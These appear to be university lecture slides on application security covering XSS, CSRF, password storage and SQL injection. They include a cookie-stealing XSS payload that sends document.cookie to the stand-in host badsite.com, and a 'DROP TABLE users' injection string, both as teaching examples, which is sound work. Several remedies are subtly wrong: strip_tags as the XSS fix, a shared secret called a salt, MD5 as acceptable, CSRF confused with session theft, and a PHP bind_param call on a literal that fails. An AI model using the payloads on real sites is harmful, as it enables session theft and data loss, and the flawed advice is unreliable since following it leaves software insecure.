CT4009

Application Security

Andy Bell

What we'll cover

- XSS
- CSRF
- Password storage
- SQL Injection

Cross-site scripting (XSS)

CT4009
Application Security

XSS

- A malicious attack that targets users and sessions (mainly)
- An attacker finds a way of injecting **<script>** tags to executed malicious code
- The usual reason is to steal authentication sessions / cookies

XSS example scenario (part 1)

A website has a comments system. When a user submits a comment, the website stores the comment exactly as it was sent.

This is vulnerable to XSS attacks because a user could come in and write the following comment.

“That article was great! Thanks for sharing. **<script>new Image().src="http://badsite.com?cookies=" + document.cookie ;</script>**”

XSS example scenario (part 2)

That comment would now render on the page and the JavaScript would be executed for **every user** that visited the page.

The reason why a **new Image()** is used is because a browser is much more likely to accept and **cross-domain** image request than a cross-domain **ajax/get** request.

XSS example scenario: Remedy

This situation is really trivial to prevent!

```php
// Vunerable code. AVOID!!
$comment = $_POST['comment'];


// Safer code!
$comment = strip_tags($_POST['comment']);
```

http://php.net/manual/en/function.strip-tags.php

Cross-site request forgery (CSRF)

CT4009
Application Security

CSRF

- If your app deals with sensitive / important data, it can be a target for CSRF attacks
- The attack is when a third party will make a HTTP request (often with a stolen session) externally

CSRF example scenario

An online banking site allows you to send money to others. The HTTP request could look something like this.

https://mybank.com/transfer?amount=500&recipient=18493

If you're logged in on the site, that's absolutely fine, but if a third-party has stolen your session (XSS), then they could do this from outside the site.

https://mybank.com/transfer?amount=1000&recipient=90647

CSRF example scenario: Remedy

We use a CSRF token to prevent these attacks.

Here's the process:

- When the user loads the page that the transfer is setup on, the **<head>** contains a CSRF token
- The transfer request then features that token in either a **Header** or appended to the query like this: **https://mybank.com/transfer?amount=500&recipient=18493&csrf=8fjkd92sla01**
- This acts as an authorisation/verification that this user is legitimate and on the website

Password Storage

CT4009
Application Security

Password storage: best practice

- Use the strongest possible hashing mechanism that you have available to you
- MD5 hashes **are not secure**, but are better than nothing
- **Never store passwords in plain text**
- Use a salt to prevent your hashed passwords from being guessed

Password storage: Salting

A string only known to the application prepends the real password before it is hashed

Salt string:
ll$fkd002dsV4%pfks£>89sj

Password:
ILikeCake123

Salted password:
ll$fkd002dsV4%pfks£>89sjILikeCake123

Password storage: Why salting?

- Lots of common password hashes are easily accessible to hackers
- This means that although you are hashing passwords they are still easily brute-forced
- Only your application knows the salt, which means that the hash produced with the salt is much harder to guess
- If this is mixed with maximum login attempts, your user's data is much more secure

SQL Injection

CT4009
Application Security

SQL Injection

Malicious SQL code can be inserted into legitimate SQL code if protections are not in place.

For example, take this simple query:

SELECT * FROM users WHERE id = 1

An attacker could compromise that query like this:

SELECT * FROM users WHERE id = 1; DROP TABLE users

SQL Injection: Prevention

The trick in SQL Injection prevention is separating **code** and **data**. This is called **parameterised queries** or **prepared statements**.

This would prevent additional SQL being executed, because the SQL engine (E.G. MYSQL) knows that it's only expecting **data**, not **code**

SQL Injection: Prevention

```php
$db = new mysqli('localhost', 'root', 'root', 'ct4009');

$statement = $db->prepare('SELECT * FROM users WHERE id = ?');

$statement->bind_param('i', 1);

$statement->execute();
```

SQL Injection: Prevention

- We prevent data being passed directly into the query with the prepared statement
- You can bind 4 data types
  - **i** - Integer
  - **d** - Double
  - **s** - String
  - **b** - Blob
- The example before bound the (**i**) integer **1** to the query
- The database now knows that:
  A) The datatype should be what we said it is
  B) That it can ignore SQL because we're only passing data

Useful resources

Password storage: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md

Prepared statements: https://websitebeaver.com/prepared-statements-in-php-mysqli-to-prevent-sql-injection

XSS: https://excess-xss.com

Recap

- We learned what XSS is and how to prevent attacks
- We learned what CSRF is and how to use tokens to prevent it
- We learned password storage techniques
- We learned about SQL Injection and prepared statements